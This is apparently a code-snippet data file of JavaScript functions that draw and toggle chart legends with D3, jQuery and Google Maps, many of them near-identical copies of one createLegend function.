d.values.filter(idFilter),\n s = vs.length -1;\n obj.key = d.key;\n obj.last = vs[s][v];\n obj.x = chart.x(vs[s].date);\n obj.y = chart.y(vs[s][v])\n return obj;\n });\n\n // Add labels\n const legendNames = chart.g.selectAll(\".label-legend\").data(lines, d => d.y);\n legendNames.exit().remove();\n\n const legendGroup = legendNames.enter().append(\"g\")\n .attr(\"class\", \"label-legend\")\n .attr(\"transform\", d => \"translate(\" + d.x + \", \" + d.y + \")\");\n \n legendGroup.append(\"text\")\n .attr(\"class\", \"legendText\")\n .text(d => d.key)\n .attr(\"fill\", d => c(d.key))\n .attr(\"alignment-baseline\", \"middle\")\n .attr(\"dx\", \".5em\")\n .attr(\"x\", 5);\n \n legendGroup.append(\"circle\")\n .attr(\"class\", \"l-circle\")\n .attr(\"r\", \"6\")\n .attr(\"fill\", d => c(d.key))\n .attr(\"stroke\",\"#ffffff\");\n\n // check if number\n function isNum(d) {\n return !isNaN(d);\n }\n //filter out the NaN\n function idFilter(d) {\n return isNum(d[v]) && d[v] !== 0 ? true : false; \n }\n }", "function legendClosure(name, key) {\n google.maps.event.addDomListener(document.getElementById(name + '_div'), 'click', function () {\n // the real legend toggling\n showDict[key] = !showDict[key];\n if (showDict[key]!=true) {\n document.getElementById(name).src=\"https://maps.google.com/mapfiles/ms/icons/ltblue-dot.png\";\n } else {\n document.getElementById(name).src=icons[key].icon;\n }\n handlePlotRequest(\"all\");\n });\n }", "function jordans_createLegend(jordans) {\n\n\t//Create legend\n var jordans_legend = jordans_svg.selectAll(\"legend\")\n\t.data(jordans)\n\t.enter()\n\t.append(\"g\")\n\t.attr(\"class\", \"legend\")\n\t.on(\"click\", function(d) {\n\t\t//Reverse visible on chosen series\n\t\td.visible ? d.visible = false : d.visible = true;\n\t\t//Update graph\n\t\tjordans_update(jordans);\n\t});\n\n \tjordans_legend.append('rect')\n\t.attr('x', 80)\n\t.attr('y', function(d, i) {\n\t\treturn jordans_height - 140 - (i * 18);\n\t})\n\t.attr('width', 15)\n\t.attr('height', 15)\n\t.style('fill', function(d) {\n\t\tif (d.visible === false) {\n\t\t\treturn \"black\"\n\t\t} else {\n\t\t\treturn jordans_colors_dict[d.name];\n\t\t}\n\t})\n\t.on(\"mouseover\", function(d) {\n\t\td3.select(this).style(\"fill\", function(d) {\n\t\t\tif (d.visible === false) {\n\t\t\t\treturn colors_dict[d.name];\n\t\t\t} else {\n\t\t\t\treturn \"black\";\n\t\t\t}\n\t\t});\n\t})\n\t.on(\"mouseout\", function(d) {\n\t\td3.select(this).style(\"fill\", function(d) {\n\t\t\tif (d.visible === false) {\n\t\t\t\treturn \"black\"\n\t\t\t} else {\n\t\t\t\treturn jordans_colors_dict[d.name];\n\t\t\t}\n\t\t});\n\t});\n\n jordans_legend.append('text')\n\t.attr('x', 100)\n\t.attr('y', function(d, i) {\n\t\treturn jordans_height - 127 - (i * 18);\n\t})\n\t.text(function(d) {\n\t\tif (d.name === 'blue') {\n\t\t\treturn \"\\\"\" + \"UNIVERSITY BLUE\" + \"\\\"\"\n\t\t} else {\n\t\t\treturn \"\\\"\" + d.name.toUpperCase() + \"\\\"\";\n\t\t}\n\t});\n}", "function legendCreate(code, canvas){\n let json = typeof (code) == \"string\"\n ? JSON.parse(code)[\"legend\"]\n : code[\"legend\"];//JSON.parse(JSON.stringify(code['legend'])); //deepcopy\n const offsetX = 10;\n const offsetY = 10;\n const marginY = 5;\n\n const note = json['note'] || []\n const colorscale = json['colorscale'] || {}\n const mark = json[\"mark\"] || {}\n\n // delete json['note'];\n // delete json['colorscale'];\n\n\n const createBase =(cnv, h)=>{\n cnv.attr('version', '1.1')\n .attr('xmlns', 'http://www.w3.org/2000/svg')\n .attr(\"width\", 200)\n .attr(\"height\", h * 15 + offsetY * 2 - marginY);\n cnv.append(\"rect\")\n .attr(\"x\", 0)\n .attr(\"y\",0)\n .attr(\"width\", 200)\n .attr(\"height\", h * 15 + offsetY * 2 - marginY)\n .attr(\"stroke-width\",1)\n .attr(\"stroke\",\"black\")\n .attr(\"fill\", \"none\");\n }\n\n const createNote =()=>{\n note.forEach((n, i) =>{\n let hoge = canvas.append(\"g\");\n let y = i * (10 + marginY) + offsetY;\n canvas.append(\"text\")\n .attr(\"x\", offsetX)\n .attr(\"y\", y + 10/2)\n .attr(\"text-anchor\", \"left\")\n .attr(\"dominant-baseline\", \"middle\")\n .attr(\"font-family\",\"sans-serif\")\n .attr(\"font-size\",12)\n .text(n);\n });\n }\n\n const createMark =()=>{\n Object.keys(mark).forEach((n, i) =>{\n let hoge = canvas.append(\"g\");\n let y = (note.length + i) * (10 + marginY) + offsetY;\n hoge.append(\"rect\")\n .attr(\"x\", offsetX)\n .attr(\"y\", y)\n .attr(\"width\", 10)\n .attr(\"height\", 10)\n .attr(\"stroke-width\",1)\n .attr(\"stroke\",\"black\")\n .attr(\"fill\", mark[n][\"background\"] || \"white\" );\n hoge.append(\"text\")\n .attr(\"x\", offsetX + 10 / 2)\n .attr(\"y\", y + 10/2)\n .attr(\"text-anchor\", \"middle\")\n .attr(\"dominant-baseline\", \"middle\")\n .attr(\"font-family\",\"sans-serif\")\n .attr(\"font-size\",10)\n .text(mark[n][\"mark\"] || \"\");\n hoge.append(\"text\")\n .attr(\"x\", offsetX + 10 + 10)\n .attr(\"y\", y + 10/2)\n .attr(\"text-anchor\", \"left\")\n .attr(\"dominant-baseline\", \"middle\")\n .attr(\"font-family\",\"sans-serif\")\n .attr(\"font-size\",12)\n .text(mark[n][\"text\"] || \"\");\n });\n }\n\n const createColorScale =()=>{\n let cell_width = 10\n let domain = json[\"colorscale\"][\"domain\"]\n let data_set = d3.range(\n domain[0],\n domain[domain.length - 1] ,\n (domain[domain.length - 1] - domain[0]) / 10) ;\n\n console.log(data_set)\n let data_set2 =[domain[0], domain[domain.length - 1]]\n let y = note.length * (10 + marginY) + offsetY;\n let colorScaler = d3.scaleLinear()\n .domain(json[\"colorscale\"][\"domain\"]) // 入力データ範囲:-1~1\n .range(json[\"colorscale\"][\"range\"]) // 出力色範囲: 赤―黄色―緑\n let hoge = canvas.append(\"g\");\n hoge.selectAll( \"rect\" )\n .data(data_set)\n .enter()\n .append(\"rect\")\n .attr(\"x\", (d,i)=> offsetX + i*cell_width)\n .attr(\"y\", y)\n .attr(\"width\", cell_width)\n .attr(\"height\", 10)\n .style(\"fill\", (d,i) => colorScaler(d))\n hoge.selectAll( \"text\" )\n .data(data_set2)\n .enter()\n .append(\"text\")\n .attr(\"x\", (d,i)=> offsetX + i*cell_width*10 )\n .attr(\"y\", (note.length + 1 + 0.5) * (10 + marginY) + offsetY)\n .attr(\"text-anchor\", \"middle\")\n .attr(\"dominant-baseline\", \"middle\")\n .attr(\"font-family\",\"sans-serif\")\n .attr(\"font-size\",12)\n .text((n)=>n);\n }\n\n let y_length;\n switch (json['mode']) {\n case \"mark\":\n y_length = Object.keys(mark).length + note.length;\n createBase(canvas, y_length);\n createNote();\n createMark();\n break;\n case \"colorscale\":\n y_length = 2 + note.length;\n createBase(canvas, y_length);\n createNote();\n createColorScale();\n break;\n default:\n break;\n }\n}", "function legend(lD) {\n var leg = {};\n // create table for legend.\n var legend = d3.select(id).append(\"table\").attr('class', 'legend');\n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n .attr(\"fill\", function(d) {\n return segColor(d.type);\n });\n // create the second column for each segment.\n tr.append(\"td\").attr(\"class\", 'legendText').text(function(d) {\n return d.type;\n });\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\", 'legendFreq')\n .text(function(d) { return d3.format(\",\")(d.freq); });\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\", 'legendPerc')\n .text(function(d) {\n return getLegend(d, lD);\n });\n // Utility function to be used to update the legend.\n leg.update = function(nD) {\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n l.select(\".legendText\").text(function(d) {\n return d.type;\n });\n // update the frequencies.\n l.select(\".legendFreq\").text(function(d) {\n return d3.format(\",\")(d.freq);\n });\n // update the percentage column.\n l.select(\".legendPerc\").text(function(d) {\n return getLegend(d, nD);\n });\n }\n function getLegend(d, aD) { // Utility function to compute percentage.\n return d3.format(\"%\")(d.freq / d3.sum(aD.map(function(v) {\n return v.freq;\n })));\n }\n return leg;\n }", "function legendMaker(domain, range, units, legendTitleText, notes, sourceText){\n\tif(legendExists){\n\t\tlegend.remove();\n\t}\n\t\n\t\n\t\n\tlegend = d3.select(\"#map\").append(\"div\")\n\t\t.attr(\"id\", \"legend\");\n\n\txDomain = {};\n\t\tfor(var i=0; i< domain.length; i++){\n\t\t\tvar DText = parseFloat(domain[i-1]+.9) + \"-\" + parseFloat(domain[i]-.1) + units;\n\t\t\t\tif(i==0){\n\t\t\t\t\tDText = \"≤ \" + parseFloat(domain[i]-.1) + units;\n\t\t\t\t\tif(units==\"%\"){\n\t\t\t\t\t\tDText = \"0%\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(i==1){\n\t\t\t\t\tif(units==\"%\"){\n\t\t\t\t\t\tDText = \".01-\" + parseFloat(domain[i]-.1) + units;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(i==4 && units==\"%\"){\n\t\t\t\t\t\tDText = \"> 71\" + units;\n\t\t\t\t}\n\t\t\t\t\n\t\t\tif(units==\"/gal.\"){\n\t\t\t\tvar DText = \"$\" + parseFloat((domain[i-1]+1)/100).toFixed(2) + \"-\" + parseFloat(domain[i]/100).toFixed(2) + units;\n\t\t\t\t\tif(i==0){\n\t\t\t\t\t\tDText = \"≤ \" + \"$\" + parseFloat(domain[i]/100).toFixed(2) + units;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\tvar RColor = range[i];\n\t\t\t\t//we don't have this key yet, so make a new one\n\t\t\t\txDomain[DText] = RColor;\n\t\t}\n\t\t\n\tif(units==\"binary\"){\n\t\txDomain = {\n\t\t\t\"No\": 'rgb(201, 228, 242)',\n\t\t\t\"Yes\": 'rgb(255, 166, 1)',\n\t\t};\n\t} \n\tif(units==\"categorical\"){\n\t\txDomain = {\n\t\t\t\"Both property tax rate and assessment limit\": 'rgb(10,132,193)',\n\t\t\t\"Only assessment limit\": 'rgb(201,228,242)', \n\t\t\t\"Only property tax rate limit\": 'rgb(255,166,1)', \n\t\t\t\"Neither property tax rate nor assessment limit\": 'rgb(96,175,215)',\n\t\t\t\"Counties do not have authority to levy property taxes on their own\": 'rgb(255,204,102)',\n\t\t};\n\t}\n\tif(units==\"gasType\"){\n\t\txDomain = {\n\t\t\t\"Fixed rate\": 'rgb(255,166,1)',\n\t\t\t\"Variable rate\": 'rgb(255,204,102)',\n\t\t\t\"Fixed and variable rate\": 'rgb(10,132,193)', \n\t\t};\n\t}\n\tif(units==\"localGasTax\"){\n\t\txDomain = {\n\t\t\t\"Not authorized\": 'rgb(255,166,1)',\n\t\t\t\"Authorized but not adopted\": 'rgb(96,175,215)',\n\t\t\t\"Adopted\": 'rgb(10,132,193)', \n\t\t};\n\t}\n\t\n\tvar legendTitle = legend.append(\"div\").attr(\"id\", \"legendTitle\");\n\t\tlegendTitle.append(\"strong\").text(legendTitleText);\n\t\t\n\tlegend.selectAll(\"legendoption\").data(d3.values(xDomain)).enter().append(\"legendoption\")\n\t\t \t.attr(\"class\", \"legendOption\")\n\t\t \t.append(\"i\").style(\"background-color\", function(d){ return d; });\n\td3.selectAll(\"legendoption\")\n\t\t.append(\"p\").data(d3.keys(xDomain)).text(function(d){ return d; });\n\t\n\textraNote.remove();\n\textraNote = d3.select(\"#underMap\").append(\"div\");\n\t\textraNote.append(\"p\").text(notes);\n\t\t\n\tsource.remove();\n\tsource = d3.select(\"#dataSource\").append(\"div\").attr(\"id\", \"source\");\n\t\tsource.html(sourceText);\n\t\n\tlegendExists = true;\n}", "function createLegend(legendColor, lineId, legendText) {\n var legendGroup = svgSelection.append(\"g\");\n legendGroup.append(\"rect\").attr(\"width\", chartConfig.lineLabel.width + 5).attr(\"height\", chartConfig.lineLabel.height).attr(\"x\", (svgConfig.width + marginLegend - 45) / 1.3).attr(\"y\", (svgConfig.margin.top - 15)).attr(\"stroke\", legendColor).attr(\"fill\", legendColor).attr(\"stroke-width\", 1).style(\"opacity\", 0).transition().duration(600).style(\"opacity\", 1)\n legendGroup.append('text').attr('text-anchor', 'middle').attr('font-family', 'sans-serif').style('cursor', 'pointer').attr('font-size', '12px').attr('fill', 'white').attr(\"transform\", \"translate(\" + ((svgConfig.width + marginLegend) / 1.3) + \",\" + (svgConfig.margin.top) + \")\").text(\"X \" + legendText).on(\"click\", function() {\n var opacity = d3.select(\".\" + lineId).style(\"opacity\") == 1 ? 0 : 1;\n d3.select(\".\" + lineId).transition().duration(500).style(\"opacity\", opacity)\n });\n marginLegend += 100;\n }", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" 